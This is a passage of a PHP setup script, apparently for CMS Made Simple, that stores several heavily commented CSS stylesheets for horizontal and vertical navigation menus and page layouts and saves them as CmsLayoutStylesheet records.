"a" */\n	padding-left: 15px;\n}\ndiv#menu_horiz li.parent a span {\n/* no left padding on the "a" we can set it here, it lets us use the span for an image */\n	padding-left: 20px;\n/* set your image here, down arrow to note it has children, left side of text */\n	background: url([[root_url]]/uploads/ngrey/active.gif) no-repeat 0.3em center;\n}\ndiv#menu_horiz li.parent a:hover span {\n	padding-left: 20px;\n/* hover replaces default with right arrow image */\n	background: url([[root_url]]/uploads/ngrey/parent.gif) no-repeat 0.3em center;\n}\ndiv#menu_horiz li.menuactive a span {\n	padding-left: 20px;\n/* menuactive replaces default with right arrow image */\n	background: url([[root_url]]/uploads/ngrey/parent.gif) no-repeat 0.5em center;\n	color: #000;\n}\ndiv#menu_horiz li.currentpage h3 span {\n	padding-left: 12px;\n/* menuactive replaces default with right arrow image */\n	background: url([[root_url]]/uploads/ngrey/nav.png) repeat-x left 0px;\n	color: #000;\n}\ndiv#menu_horiz .sectionheader span {\n/* compensates for no left padding on the "sectionheader" */\n	padding-left: 15px;\n}\n/* active parent, that is the first level parent of a child page that is the current page */\ndiv#menu_horiz li.menuactive, div#menu_horiz li.menuactive a:hover {\n/* set your image here, light image with #000/black text set below*/\n	background:  url([[root_url]]/uploads/ngrey/nav.png) repeat-x left 0px;\n	color: #000;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Navigation Simple - Horizontal');
$css->set_description('Navigation CSS rules used in Top simple navigation + left subnavigation + 1 column and Left simple navigation + 1 column Designs');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/* browsers interpret margin and padding a little differently, we'll remove all default padding and margins and set them later on */\n* {\n	margin: 0;\n	padding: 0;\n}\n/*Set initial font styles*/\nbody {\n	text-align: left;\n	font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;\n	font-size: 75.01%;\n	line-height: 1em;\n}\n/*set font size for all divs, this overrides some body rules*/\ndiv {\n	font-size: 1em;\n}\n/*if img is inside "a" it would have borders, we don't want that*/\nimg {\n	border: 0;\n}\n/*default link styles*/\n/* set all links to have underline and bluish color */\na, a:link a:active {\n	text-decoration: underline;\n/* css validation will give a warning if color is set without background color. this will explicitly tell this element to inherit bg colour from parent element */\n	background-color: inherit;\n	color: #18507C;\n}\na:visited {\n	text-decoration: underline;\n	background-color: inherit;\n	color: #18507C;\n/* a different color can be used for visited links */\n}\n/* remove underline on hover and change color */\na:hover {\n	text-decoration: none;\n	background-color: inherit;\n	color: #385C72;\n}\n/*****************basic layout *****************/\nbody {\n	margin: 0;\n	padding: 0;\n/* default text color for entire site*/\n	color: #333;\n/* you can set your own image and background color here */\n	background: #f4f4f4 url([[root_url]]/uploads/ngrey/body.png) repeat-x left top;\n}\ndiv#pagewrapper {\n/* min max width, IE wont understand these, so we will use java script magic in the <head> */\n	max-width: 99em;\n	min-width: 60em;\n/* now that width is set this centers wrapper */\n	margin: 0 auto;\n	background-color: #fefefe;\n	color: black;\n}\n/* header, we will hide h1 a text and replace it with an image, we assign a height for it so the image wont cut off */\ndiv#header {\n/* adjust according your image size */\n	height: 100px;\n	margin: 0;\n	padding: 0;\n	/* you can set your own image here, will go behind h1 a image */\n	background: #f4f4f4 url([[root_url]]/uploads/ngrey/bg_banner.png) repeat-x left top;\n/* border just the bottom */\n	border-bottom: 1px solid #D9E2E6;\n}\ndiv#header h1 a {\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/logoCMS.png) no-repeat left top;\n/* this will make the "a" link a solid shape */\n	display: block;\n/* adjust according your image size */\n	height: 100px;\n/* this hides the text */\n	text-indent: -999em;\n/* old firefox would have shown underline for the link, this explicitly hides it */\n	text-decoration: none;\n}\ndiv#header h1 {\n	margin: 0;\n	padding: 0;\n/*these keep IE6 from pushing the header to more than the set size*/\n	line-height: 0;\n	font-size: 0;\n/* this will keep IE6 from flickering on hover */\n	background: url([[root_url]]/uploads/ngrey/logoCMS.png) no-repeat left top;\n}\ndiv#header h2 {\n/* this is where the site name is */\n	float: right;\n	line-height: 1.2em;\n/* this keeps IE6 from not showing the whole text */\n	font-size: 1.5em;\n/* keeps the size uniform */\n	margin: 35px 65px 0px 0px;\n/* adjust according your text size */\n	color: #f4f4f4;\n}\ndiv.crbk {\n/* sets all to 0 */\n	margin: 0;\n	padding: 0;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrtup.gif) no-repeat right bottom;\n}\ndiv.breadcrumbs {\n/* CSS short hand rule first value is top then right, bottom and left */\n	padding: 1em 0em 1em 1em;\n/* its good to set font sizes to be relative, this way viewer can change his/her font size */\n	font-size: 90%;\n/* css shorthand rule will be opened to be "0px 0px 0px 0px" */\n	margin: 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainleftup.gif) no-repeat left bottom;\n}\ndiv.breadcrumbs span.lastitem {\n	font-weight: bold;\n}\ndiv#search {\n/* position for the search box */\n	float: right;\n/* enough width for the search input box */\n	width: 27em;\n	text-align: right;\n	padding: 0.5em 0 0.2em 0;\n	margin: 0 1em;\n}\n/* a class for Submit button for the search input box */\ninput.search-button {\n	border: none;\n	height: 22px;\n	width: 53px;\n	margin-left: 5px;\n	padding: 0px 2px 2px 0px;\n/* makes the hover cursor show, you can set your own cursor here */\n	cursor: pointer;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/search.gif) no-repeat center center;\n}\ndiv#content {\n/* some air above and under menu and content */\n	margin: 1.5em auto 2em 0;\n	padding: 0px;\n}\n/* this gets all the outside calls that were used on the div#main before  */\ndiv.back1 {\n/* this will give room for sidebar to be on the left side, make sure this number is bigger than sidebar width */\n	margin-left: 29%;\n/* and some air on the right */\n	margin-right: 2%;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrt1.gif) no-repeat right top;\n}\n/* this is an IE6 hack, you may see these through out the CSS */\n* html div.back1 {\n/* unlike other browser IE6 needs float:right and a width */\n	float: right;\n	width: 69%;\n/* and we take this out or it will stop at the bottom  */\n	margin-left: 0%;\n/* and some air on the right */\n	margin-right: 10px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrt1.gif) no-repeat right top;\n}\ndiv.back2 {\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainleft1.gif) no-repeat left top;\n}\ndiv.back3 {\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wbtmleft.gif) no-repeat left bottom;\n}\ndiv#main {\n/* this is the last inside div so we set the space inside it to keep all content away from the edges of images/box */\n	padding: 10px 15px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/rtup.gif) no-repeat right bottom;\n}\ndiv#sidebar {\n/* set sidebar left. Change to right, float: right; instead, but you will need to change the margins. */\n	float: left;\n/* sidebar width, if you change this change div.back and/or div.back1 margins */\n	width: 26%;\n/* FIX IE double margin bug */\n	display: inline;\n/* the 20px is on the bottom, insures space above footer if longer than content */\n	margin: 0px 0px 20px;\n	padding: 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrt.gif) no-repeat right top;\n}\ndiv#sidebarb {\n	padding: 10px 15px 10px 20px;\n/* this one is for sidebar with content and no menu */\n	background: url([[root_url]]/uploads/ngrey/mainrtup.gif) no-repeat right bottom;\n}\ndiv#sidebarb div#news {\n/* less margin surrounding the news, sidebarb has enough */\n	margin: 2em 0 1em 0em;\n}\ndiv#sidebara {\n	padding: 10px 15px 15px 0px;\n/* this one is for sidebar with menu and no content */\n	background: url([[root_url]]/uploads/ngrey/mainrtup.gif) no-repeat right bottom;\n}\ndiv.footback {\n/* keep footer below content and menu */\n	clear: both;\n/* this sets 10px on right to let the right image show, the balance 10px left on next div */\n	padding: 0px 10px 0px 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wfootrt.gif) no-repeat right top;\n}\ndiv#footer {\n/* this sets 10px on left to balance 10px right on last div */\n	padding: 0px 0px 0px 10px;\n/* color of text, the link color is set below */\n	color: #595959;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wtopleft.gif) no-repeat left top;\n}\ndiv.leftfoot {\n	float: left;\n	width: 30%;\n	margin-left: 20px\n}\ndiv#footer p {\n/* sets different font size from default */\n	font-size: 0.8em;\n/* some air for footer */\n	padding: 1.5em;\n/* centered text */\n	text-align: center;\n	margin: 0;\n}\ndiv#footer p a {\n/* footer link would be same color as default we want it same as footer text */\n	color: #595959;\n}\n/* as we hid all hr for accessibility we create new hr with div class="hr" element */\ndiv.hr {\n	height: 1px;\n	padding: 1em;\n	border-bottom: 1px dotted black;\n	margin: 1em;\n}\n/* relational links under content */\ndiv.left49 {\n/* combined percentages of left+right equaling 100%  might lead to rounding error on some browser */\n	width: 70%;\n}\ndiv.right49 {\n	float: right;\n	width: 29%;\n/* set right to keep text on right */\n	text-align: right;\n}\n/********************CONTENT STYLING*********************/\n/* HEADINGS */\ndiv#content h1 {\n/* font size for h1 */\n	font-size: 2em;\n	line-height: 1em;\n	margin: 0;\n}\ndiv#content h2 {\n	color: #294B5F;\n/* font size for h2 the higher the h number the smaller the font size, most times */\n	font-size: 1.5em;\n	text-align: left;\n/* some air around the text */\n	padding-left: 0.5em;\n	padding-bottom: 1px;\n/* set borders around header */\n	border-bottom: 1px solid #899092;\n	border-left: 1.1em solid #899092;\n/* a larder than h1 line height */\n	line-height: 1.5em;\n/* and some air under the border */\n	margin: 0 0 0.5em 0;\n}\ndiv#content h3 {\n	color: #294B5F;\n	font-size: 1.3em;\n	line-height: 1.3em;\n	margin: 0 0 0.5em 0;\n}\ndiv#content h4 {\n	color: #294B5F;\n	font-size: 1.2em;\n	line-height: 1.3em;\n	margin: 0 0 0.25em 0;\n}\ndiv#content h5 {\n	color: #294B5F;\n	font-size: 1.1em;\n	line-height: 1.3em;\n	margin: 0 0 0.25em 0;\n}\nh6 {\n	color: #294B5F;\n	font-size: 1em;\n	line-height: 1.3em;\n	margin: 0 0 0.25em 0;\n}\n/* END HEADINGS */\n/* TEXT */\np {\n/* default p font size, this is set different in some other divs */\n	font-size: 1em;\n/* some air around p elements */\n	margin: 0 0 1.5em 0;\n	line-height: 1.4em;\n	padding: 0;\n}\nblockquote {\n	border-left: 10px solid #ddd;\n	margin-left: 10px;\n}\nstrong, b {\n/* explicit setting for these */\n	font-weight: bold;\n}\nem, i {\n/* explicit setting for these */\n	font-style: italic;\n}\n/* Wrapping text in <code> tags. Makes CSS not validate */\ncode, pre {\n/* css-3 */\n	white-space: pre-wrap;\n/* Mozilla, since 1999 */\n	white-space: -moz-pre-wrap;\n/* Opera 4-6 */\n	white-space: -pre-wrap;\n/* Opera 7 */\n	white-space: -o-pre-wrap;\n/* Internet Explorer 5.5+ */\n	word-wrap: break-word;\n	font-family: "Courier New", Courier, monospace;\n	font-size: 1em;\n}\npre {\n/* black border for pre blocks */\n	border: 1px solid #000;\n/* set different from surroundings to stand out */\n	background-color: #ddd;\n	margin: 0 1em 1em 1em;\n	padding: 0.5em;\n	line-height: 1.5em;\n	font-size: 90%;\n}\n/* Separating the divs on the template explanation page */\ndiv.templatecode {\n	margin: 0 0 2.5em;\n}\n/* END TEXT */\n/* LISTS */\n/* lists in content need some margins to look nice */\ndiv#main ul,\ndiv#main ol,\ndiv#main dl {\n	font-size: 1.0em;\n	line-height: 1.4em;\n	margin: 0 0 1.5em 0;\n}\ndiv#main ul li,\ndiv#main ol li {\n	margin: 0 0 0.25em 3em;\n}\n/* definition lists topics on bold */\ndiv#main dl {\n	margin-bottom: 2em;\n	padding-bottom: 1em;\n	border-bottom: 1px solid #c0c0c0;\n}\ndiv#main dl dt {\n	font-weight: bold;\n	margin: 0 0 0 1em;\n}\ndiv#main dl dd {\n	margin: 0 0 1em 1em;\n}\n/* END LISTS */
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Layout Top menu + 2 columns');
$css->set_description('Navigation CSS rules used in CSSMenu top + 2 columns, ShadowMenu Tab + 2 columns and Top simple navigation + left subnavigation + 1 column Designs');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/******************** MENU *********************/\n#menu_vert {\n	margin: 0;\n	padding: 0;\n}\n#menu_vert ul {\n/* remove any bullets */\n	list-style: none;\n/* margin/padding set in li */\n	margin: 0px;\n	padding: 0px;\n}\n#menu_vert ul ul {\n	margin: 0;\n/* padding right sets second level li in on right from first li */\n	padding: 0px 5px 0px 0px;\n/* replaces bottom of li.menuactive menuparent, looks like li below it, set in 5px more, is sitting on top of it */\n	background: transparent url([[root_url]]/uploads/ngrey/liup.gif) no-repeat right -4px;\n}\n#menu_vert li {\n/* remove any bullets */\n	list-style: none;\n/* negative bottom margin pulls them together, images look like one border between */\n	margin: 0px 0px -1px;\n/* bottom padding pushes "a" up enough to show our image */\n	padding: 0px 0px 4px 0px;\n/* you can set your own image here */\n	background: transparent url([[root_url]]/uploads/ngrey/liup.gif) no-repeat right bottom;\n}\n#menu_vert li.currentpage {\n	padding: 0px 0px 3px 0px;\n}\n#menu_vert li.menuactive {\n	margin: 0;\n	padding: 0px;\n/* replaced by image in ul ul */\n	background: none;\n}\n#menu_vert li.menuactive ul {\n	margin: 0;\n}\n#menu_vert li.activeparent {\n	margin: 0;\n	padding: 0px;\n}\n/* fix stupid IE6 bug with display:block; */\n* html #menu_vert li {\n	height: 1%;\n}\n* html #menu_vert li a {\n	height: 1%;\n}\n* html #menu_vert li hr {\n	height: 1%;\n}\n/** end fix **/\n/* first level links */\ndiv#menu_vert a {\n/* IE6 has problems with this, fixed above */\n	display: block;\n/* some air for it */\n	padding: 0.8em 0.3em 0.5em 1.5em;\n/* this will be link color for all levels */\n	color: #18507C;\n/* Fixes IE7 whitespace bug */\n	min-height: 1em;\n/* no underline for links */\n	text-decoration: none;\n/* you can set your own image here this is tall enough to cover text heavy links */\n	background: transparent url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n}\n/* next level links, more padding and smaller font */\ndiv#menu_vert ul ul a {\n	font-size: 90%;\n	padding: 0.8em 0.3em 0.5em 2.8em;\n}\n/* third level links, more padding */\ndiv#menu_vert ul ul ul a {\n	padding: 0.5em 0.3em 0.3em 3em;\n}\n/* hover state for all links */\ndiv#menu_vert a:hover {\n	background-color: transparent;\n	color: #595959;\n	text-decoration: underline;\n}\ndiv#menu_vert a.activeparent:hover {\n	color: #595959;\n}\n/* active parent, that is the first level parent of a child page that is the current page */\ndiv#menu_vert li.activeparent {\n/* you can set your own image here */\n	background: transparent url([[root_url]]/uploads/ngrey/liup.gif) no-repeat right -65px;\n/* white to contrast with background image */\n	color: #fff;\n}\ndiv#menu_vert li.activeparent a.activeparent {\n/* you can set your own image here */\n	background: transparent url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n/* to contrast with background image */\n	color: #000;\n}\ndiv#menu_vert li a.parent {\n/* takes left padding out so span image has room on left */\n	padding-left: 0em;\n}\ndiv#menu_vert ul ul li a.parent {\n/* increased padding on left offsets it from one above */\n	padding-left: 0.9em;\n}\ndiv#menu_vert li a.parent span {\n	display: block;\n	margin: 0;\n/* adds left padding taken out of "a.parent" */\n	padding-left: 1.5em;\n/* arrow on left for pages with children, points down, you can set your own image here */\n	background: transparent url([[root_url]]/uploads/ngrey/active.png) no-repeat 2px center;\n}\ndiv#menu_vert li a.parent:hover {\n/* removes underline hover effect */\n	text-decoration: none;\n}\ndiv#menu_vert li a.parent:hover span {\n	display: block;\n	margin: 0;\n	padding-left: 1.5em;\n/* arrow on left for pages with children, points right for hover, you can set your own image here */\n	background: transparent url([[root_url]]/uploads/ngrey/parent.png) no-repeat 2px center;\n}\ndiv#menu_vert li a.menuactive.menuparent {\n/* sets it in a little more than a.parent */\n	padding-left: 0.35em;\n}\ndiv#menu_vert ul ul li a.menuactive.menuparent {\n/* sets it in a little more on next level */\n	padding-left: 0.99em;\n}\ndiv#menu_vert li a.menuactive.menuparent span {\n	display: block;\n	margin: 0;\n/* to contrast with non active pages */\n	font-weight: bold;\n	padding-left: 1.5em;\n/* arrow on left for active pages with children, points right, you can set your own image here */\n	background: transparent url([[root_url]]/uploads/ngrey/parent.png) no-repeat 2px center;\n}\ndiv#menu_vert li a.menuactive.menuparent:hover {\n	text-decoration: none;\n	color: #18507C;\n}\ndiv#menu_vert ul ul li a.activeparent {\n	color: #fff;\n}\n/* current pages in the default Menu Manager template are unclickable. This is for current page on first level */\ndiv#menu_vert ul h3 {\n	display: block;\n/* some air for it */\n	padding: 0.8em 0.5em 0.5em 1.5em;\n/* this will be link color for all levels */\n	color: #000;\n/* instead of the normal font size for <h3> */\n	font-size: 1em;\n/* as <h3> normally has some margin by default */\n	margin: 0;\n/* you can set your own image here, same as "a" */\n	background: transparent url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n}\n/* next level current pages, more padding, smaller font and no background color or bottom border */\ndiv#menu_vert ul ul h3 {\n	font-size: 90%;\n	padding: 0.8em 0.5em 0.5em 2.8em;\n/* you can set your own image here, same as "a" */\n	background: transparent url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n	color: #000;\n}\n/* current page on third level, more padding */\ndiv#menu_vert ul ul ul h3 {\n	padding: 0.6em 0.5em 0.2em 3em;\n}\n/* BIG NOTE: I didn''t do anything to these, never tested */\n/* section header */\ndiv#menu_vert li.sectionheader {\n	border-right: none;\n	padding: 0.8em 0.5em 0.5em 1.5em;\n	background: transparent url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n	line-height: 1em;\n	margin: 0;\n        color: #18507C;\n        cursor:text;\n}\n/* separator */\ndiv#menu_vert .separator {\n	height: 1px !important;\n	margin-top: -1px;\n	margin-bottom: 0;\n	-padding: 2px 0 2px 0;\n	background-color: #000;\n	overflow: hidden !important;\n	line-height: 1px !important;\n	font-size: 1px;\n/* for ie */\n}\ndiv#menu_vert li.separator hr {\n	display: none;\n/* this is for accessibility */\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Navigation Simple - Vertical');
$css->set_description('Navigation CSS rules used in Left simple navigation + 1 column and Top simple navigation + left subnavigation + 1 column Designs');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/* by Alexander Endresen and mark */\n#menu_vert {\n/* no margin/padding so it fills the whole div */\n	margin: 0;\n	padding: 0;\n}\n.clearb {\n/* needed for some browsers */\n	clear: both;\n}\n#menuwrapper {\n/* set the background color for the menu here */\n	background-color: #243135;\n/* IE6 Hack */\n	height: 1%;\n	width: auto;\n/* one border at the top */\n	border-top: 1px solid #3F565C;\n	margin: 0;\n	padding: 0;\n}\nul#primary-nav {\n	list-style-type: none;\n	margin: 0px;\n	padding-top: 10px;\n	padding-left: 10px;\n}\n#primary-nav ul {\n/* remove any default bullets */\n	list-style-type: none;\n/* sets width of second level ul to background image */\n	width: 210px;\n	margin: 0px;\n	padding: 0px;\n/* make the ul stay in place so when we hover it lets the drops go over the content instead of displacing it */\n	position: absolute;\n/* top being the bottom of the li it comes out of */\n	top: auto;\n/* keeps it hidden till hover event */\n	display: none;\n/* room at top for li so image top shows correct */\n	padding-top: 9px;\n/* set your image here, tall enough for the ul */\n	background: url([[root_url]]/uploads/ngrey/ultopup.png) no-repeat left top;\n}\n/* IE6 hacks on the above code */\n* html #primary-nav ul {\n	padding-top: 13px;\n	background: url([[root_url]]/uploads/ngrey/ultopup.gif) no-repeat left top;\n}\n#primary-nav ul ul {\n/* insures no top margins */\n	margin-top: 0px;\n/* pulls the last ul back over the preceding ul */\n	margin-left: -1px;\n/* keeps the left side of this ul on the right side of the preceding ul */\n	left: 100%;\n/* negative margin pulls the left centered in li next to it */\n	top: -3px;\n/* set your image here, tall enough for the ul, this is the left arrow for third level ul */\n	background: url([[root_url]]/uploads/ngrey/ultoprt.png) no-repeat left top;\n}\n/* IE6 hacks on the above code */\n* html #primary-nav ul ul {\n	margin-top: 0px;\n	padding-left: 5px;\n	left: 100%;\n	top: -7px;\n/* IE6 gets gif as it can''t handle transparent png */\n	background: url([[root_url]]/uploads/ngrey/ultoprt.gif) no-repeat right top;\n}\n#primary-nav li {\n/* a little space to the left of each top level menu item */\n	margin-left: 5px;\n/* floating left will set menu items to line up left to right else they will stack top to bottom */\n	float: left;\n}\n#primary-nav li li {\n/* a little more space to the left of each menu item */\n	margin-left: 8px;\n/* keeps them tight to the one above, no missed hovers */\n	margin-top: -1px;\n/* removes the left float set in first li so these will stack from top down */\n	float: none;\n/* relative to the ul they are in */\n	position: relative;\n}\n/* IE6 hacks on the above code */\n* html #primary-nav li li {\n	margin-left: 6px;\n/* helps hold it inside the ul */\n	width: 171px;\n}\nul#primary-nav li a {\n/* specific font size, this could be larger or smaller than default font size */\n	font-size: 1em;\n/* make sure we keep the font normal */\n	font-weight: normal;\n/* set default link colors */\n	color: #fff;\n/* doing tab menus require a bit different padding, this will give room on right for image to show, adjust to width of your image */\n	padding: 0px 11px 0px 0px;\n/* makes it hold a shape */\n	display: block;\n/* remove default "a" underline */\n	text-decoration: none;\n}\nul#primary-nav li a span {\n/* takes normal "a" padding minus some for right image */\n	padding: 12px 4px 12px 15px;\n/* makes it hold a shape */\n	display: block;\n}\nul#primary-nav li a:hover {\n/* kind of obvious */\n	background-color: transparent;\n}\nul#primary-nav li {\n/* set your image here */\n	background:  url([[root_url]]/uploads/ngrey/navrttest.gif) no-repeat right -51px;\n}\nul#primary-nav li span {\n/* set your image here */\n	background:  url([[root_url]]/uploads/ngrey/navlefttest.gif) repeat-x left -51px;\n/* set text color here also to insure color */\n	color: #fff;\n/* just to be sure */\n	font-weight: normal;\n}\nul#primary-nav li li {\n/* remove any image set in first level li */\n	background:  none;\n}\nul#primary-nav li li span {\n/* remove any image set in first level li span */\n	background:  none;\n/* set text color here also to insure color */\n	color: #fff;\n/* just to be sure */\n	font-weight: normal;\n}\nul#primary-nav li:hover,\nul#primary-nav li.menuh,\nul#primary-nav li.menuparenth {\n/* set hover image, right side */\n	background:  url([[root_url]]/uploads/ngrey/navrttest.gif) no-repeat right 0px;\n}\nul#primary-nav li:hover span,\nul#primary-nav li.menuh span,\nul#primary-nav li.menuparenth span {\n/* set hover image, left side */\n	background:  url([[root_url]]/uploads/ngrey/navlefttest.gif) repeat-x left 0px;\n/* change text color on hover */\n	color: #000;\n	font-weight: normal;\n}\n/* IE6 hacks, the JS used for hover effect in IE6 puts class menuh on li, unless they have a class then just an "h" as seen above and below */\nul#primary-nav li li.menuh {\n	background:  none;\n	font-weight: normal;\n}\n/* IE6 hacks */\nul#primary-nav li.menuparenth li span {\n	background:  none;\n	color: #000;\n	font-weight: normal;\n}\n/* IE6 hacks */\nul#primary-nav li.menuparenth li.menuparent span {\n/* gif for IE6, as it can''t handle transparent png */\n	background:  url([[root_url]]/uploads/ngrey/parent.gif) no-repeat right center;\n	color: #000\n}\n/* IE6 hacks */\nul#primary-nav li.menuparenth li.menuh span {\n	background:  none;\n	color: #FFF;\n	font-weight: normal;\n}\n/* IE6 hacks */\nul#primary-nav li.menuparenth li.menuparenth {\n	background:  none;\n	color: #FFF;\n	font-weight: normal;\n}\nul#primary-nav li.menuactive a {\n/* set your image here for active tab right */\n	background:  url([[root_url]]/uploads/ngrey/navrttest.gif) no-repeat right 0px;\n}\nul#primary-nav li a.menuactive span {\n/* set your image here for active tab left */\n	background:  url([[root_url]]/uploads/ngrey/navlefttest.gif) repeat-x left 0px;\n/* non active is #FFF/white, we need #000/black to contrast with light background */\n	color: #000;\n/* bold to set it off from non active */\n	font-weight: bold;\n}\n#primary-nav li li a {\n/* second level padding, no image and not as big */\n	padding: 5px 10px;\n/* to keep it within li */\n	width: 165px;\n/* space between them */\n	margin: 5px;\n	background: none;\n}\n/* IE6 hacks to above code */\n* html #primary-nav li li a {\n	padding: 5px 10px;\n	width: 165px;\n	margin: 0px;\n	color: #000;\n}\n#primary-nav li li:hover {\n/* remove image set in first level */\n	background: none;\n}\n#primary-nav li li a:hover {\n/* set different image than first level */\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\n/* we need #FFF/white to contrast with dark background */\n	color: #FFF;\n}\n#primary-nav li.menuparent li a:hover span {\n/* insures text color */\n	color: #FFF;\n}\nul#primary-nav li:hover li a span {\n/* first level is #FFF/white, we need #000/black to contrast with light background */\n	color: #000;\n/* just to insure normal */\n	font-weight: normal;\n}\n#primary-nav li li.menuactive a.menuactive, #primary-nav li li.menuactive a.menuactive:hover {\n/* set your image here, lighter than hover */\n	background:  url([[root_url]]/uploads/ngrey/nav.png) repeat-x left 0px;\n/* non active is #FFF/white, we need #000/black to contrast with light background */\n	color: #000;\n}\n#primary-nav li li.menuactive a.menuactive span {\n/* insures text color */\n	color: #000\n}\n#primary-nav li li.menuactive a.menuactive:hover span {\n/* insures text color */\n	color: #000;\n}\n/* IE6 hacks to above code */\n#primary-nav li li.menuparenth a.menuparent span {\n/* right arrow for menu parent, IE6 gif */\n	background:  url([[root_url]]/uploads/ngrey/parent.gif) no-repeat right center;\n	color: #000\n}\n/* IE6 hacks to above code */\n#primary-nav li li.menuparenth a.menuparent:hover span {\n	color: #FFF\n}\n#primary-nav li li.menuparent a.menuparent span {\n/* right arrow for parent item */\n	background:  url([[root_url]]/uploads/ngrey/parent.gif) no-repeat right center;\n}\n#primary-nav li.menuactive li a:hover span {\n/* black text */\n	color: #000\n}\nul#primary-nav li li a.menuactive  span {\n/* remove image set in first level */\n	background:  none;\n	font-weight: normal;\n}\n#primary-nav li.menuactive li a {\n/* second level active link color */\n	color: #0587A9;\n	text-decoration: none;\n	background: none;\n}\n#primary-nav li.menuactive li a:hover {\n/* dark image for hover */\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\n}\n#primary-nav li.menuactive li a:hover span {\n/* white text to contrast with dark background image on hover */\n	color: #FFF;\n}\nul#primary-nav li:hover li a span, ul#primary-nav li.menuparenth li a span {\n	padding: 0px;\n	background:  none;\n}\n/* this is a special li type from the menu template, used to hold the bottom image for ul set above */\n#primary-nav ul li.separator, #primary-nav .separator:hover {\n/* set same as ul */\n	width: 210px;\n/* height of image */\n	height: 9px;\n/* negative margin pulls it down to cover ul image */\n	margin: 0px 0px -8px;\n/* set your image here */\n	background: url([[root_url]]/uploads/ngrey/ulbtmrt.png) no-repeat left bottom;\n}\n/* same as above for next level to insure it shows correct */\n#primary-nav ul ul li.separator, #primary-nav ul ul li.separator:hover {\n	height: 9px;\n	margin: 0px 0px -8px;\n	background: url([[root_url]]/uploads/ngrey/ulbtmrt.png) no-repeat left bottom;\n}\n/* IE6 hacks */\n* html #primary-nav ul li.separator {\n	height: 2px;\n	background: url([[root_url]]/uploads/ngrey/ulbtmrt.gif) no-repeat left bottom;\n}\n/* IE6 hacks */\n* html #primary-nav ul li.separatorh {\n	margin: 0px 0px -8px;\n	height: 2px;\n	background: url([[root_url]]/uploads/ngrey/ultop.gif) no-repeat left top;\n}\n/* The magic - set to work for up to a 3 level menu, but can be increased unlimited, for fourth level add\n#primary-nav li:hover ul ul ul,\n#primary-nav li.menuparenth ul ul ul,\n*/\n#primary-nav ul,\n#primary-nav li:hover ul,\n#primary-nav li:hover ul ul,\n#primary-nav li.menuparenth ul,\n#primary-nav li.menuparenth ul ul {\n	display: none;\n}\n/* for fourth level add\n#primary-nav ul ul ul li:hover ul,\n#primary-nav ul ul ul li.menuparenth ul,\n*/\n#primary-nav li:hover ul,\n#primary-nav ul li:hover ul,\n#primary-nav ul ul li:hover ul,\n#primary-nav li.menuparenth ul,\n#primary-nav ul li.menuparenth ul,\n#primary-nav ul ul li.menuparenth ul {\n	display: block;\n}\n/* IE Hacks */\n#primary-nav li li {\n	float: left;\n	clear: both;\n}\n#primary-nav li li a {\n	height: 1%;\n}
EOT;
$css = new CmslayoutStylesheet;
$css->set_name('Navigation ShadowMenu - Horizontal');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/* Vertical menu for the CMS CSS Menu Module */\n/* by Alexander Endresen and mark */\n#menuwrapper {\n/* just smaller than it's containing div */\n	width: 95%;\n	margin-left: 0px;\n/* room at bottom */\n	margin-bottom: 10px;\n}\n/* Unless you know what you do, do not touch this */\n#primary-nav, #primary-nav ul {\n/* remove any default bullets */\n	list-style: none;\n	margin: 0px;\n	padding: 0px;\n/* make sure it fills out */\n	width: 100%;\n/* just a little bump */\n	margin-left: 1px;\n}\n#primary-nav li {\n/* negative bottom margin pulls them together, images look like one border between */\n	margin-bottom: -1px;\n/* keeps within it's container */\n	position: relative;\n/* bottom padding pushes "a" up enough to show our image */\n	padding: 0px 0px 4px 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/liup.gif) no-repeat right bottom;\n}\n#primary-nav li li {\n/* you can set your width here, if no width or set auto it will only be as wide as the text in it  */\n	width: 190px;\n/* changes padding inherited from first level */\n	padding: 0px 10px;\n/* removes first level li image */\n	background-image: none;\n}\n/* Styling the basic appearance of the menu "a" elements */\nul#primary-nav li a {\n/* specific font size, this could be larger or smaller than default font size */\n	font-size: 1em;\n/* make sure we keep the font normal */\n	font-weight: normal;\n/* set default link colors */\n	color: #595959;\n/* pushes li out from the text, sort of like making links a certain size, if you give them a set width and/or height you may limit you ability to have as much text as you need */\n	padding: 0.8em 0.5em 0.5em 0.5em;\n/* makes it hold a shape */\n	display: block;\n/* removes underline from default link setting */\n	text-decoration: none;\n/* you can set your own image here this is tall enough to cover text heavy links */\n	background: url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n}\nul#primary-nav a span {\n/* makes it hold a shape */\n	display: block;\n/* pushes text to right */\n	padding-left: 